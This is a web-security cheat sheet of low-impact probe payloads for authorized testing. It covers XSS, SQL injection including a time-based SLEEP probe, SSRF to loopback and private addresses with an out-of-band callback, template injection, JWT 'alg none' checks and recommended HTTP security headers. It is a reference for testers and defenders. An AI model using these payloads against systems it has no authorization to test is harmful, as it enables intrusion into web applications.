Security Payload Cheatsheets

Authorized testing only. Start with non-executing markers, keep requests low impact, and follow the target's written scope.

Cross-Site Scripting (XSS)

HTML context probe

Confirm whether HTML is parsed and inline event handlers execute.

<img src=x onerror=alert(document.domain)>

Attribute context probe

Test whether an encoded attribute can be terminated safely.

" autofocus onfocus=alert(document.domain) x="

Script string probe

Detect unsafe insertion into a single-quoted JavaScript string.

';alert(document.domain);//

DOM source-to-sink check

Useful when location.hash reaches innerHTML or another HTML sink.

#<img src=x onerror=alert(document.domain)>

Safe validation

A non-executing marker for initial reflection and encoding checks.

<sc-test>

SQL Injection

Syntax probe

Look for a controlled error or a meaningful response difference.

Boolean comparison

Compare with an equivalent false condition to avoid relying on errors.

' AND 1=1-- -

False comparison

Pair with the true condition and compare status, body length, and timing.

' AND 1=2-- -

Numeric context

A quote-free probe for numeric parameters.

1 AND 1=2

Time-based validation

Use only with permission and low delay; database syntax varies.

' AND SLEEP(5)-- -

Server-Side Request Forgery (SSRF)

Loopback

Check access to services bound to the target host.

http://127.0.0.1/

IPv6 loopback

Identify filters that only account for IPv4 notation.

http://[::1]/

Private range

Test private-network reachability with a controlled destination.

http://10.0.0.1/

Redirect validation

Check whether URL validation is repeated after redirects.

https://controlled.example/redirect

Out-of-band callback

Safely identify blind outbound requests through DNS or HTTP logs.

https://unique-id.controlled.example/

Server-Side Template Injection (SSTI)

Arithmetic probe

A result of 49 can indicate Jinja2, Twig, or another expression engine.

{{7*7}}

Alternate expression

Useful for Java EL, FreeMarker, and related engines.

${7*7}

Ruby-style probe

Detect ERB-like rendering without invoking system commands.

<%= 7*7 %>

Template fingerprint

Different results help distinguish template engines.

{{7*'7'}}

Safe marker

Check evaluation and error behavior with a harmless undefined variable.

{{sc_test}}

JSON Web Tokens (JWT)

Inspect header

Verify the algorithm is server-selected and restricted to an allowlist.

{"alg":"RS256","typ":"JWT"}

Unsigned-token check

Confirm tokens using none are rejected, including case variants.

{"alg":"none","typ":"JWT"}

Claim validation

Check every security-relevant registered claim server-side.

exp · nbf · iss · aud · sub · jti

Key identifier review

Ensure kid cannot cause path traversal, SQL injection, or attacker-controlled key lookup.

kid

JWKS controls

Reject untrusted key URLs and embedded attacker-provided public keys.

jku · x5u · jwk

HTTP Security Headers

Content Security Policy

Start restrictive, then add only required sources and nonces.

Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

Transport security

Enable only after HTTPS works across every included subdomain.

Strict-Transport-Security: max-age=31536000; includeSubDomains

MIME sniffing

Prevents browsers from guessing a different content type.

X-Content-Type-Options: nosniff

Referrer policy

Limits sensitive path and query leakage to other origins.

Referrer-Policy: strict-origin-when-cross-origin

Permissions policy

Disable browser capabilities the application does not use.

Permissions-Policy: camera=(), microphone=(), geolocation=()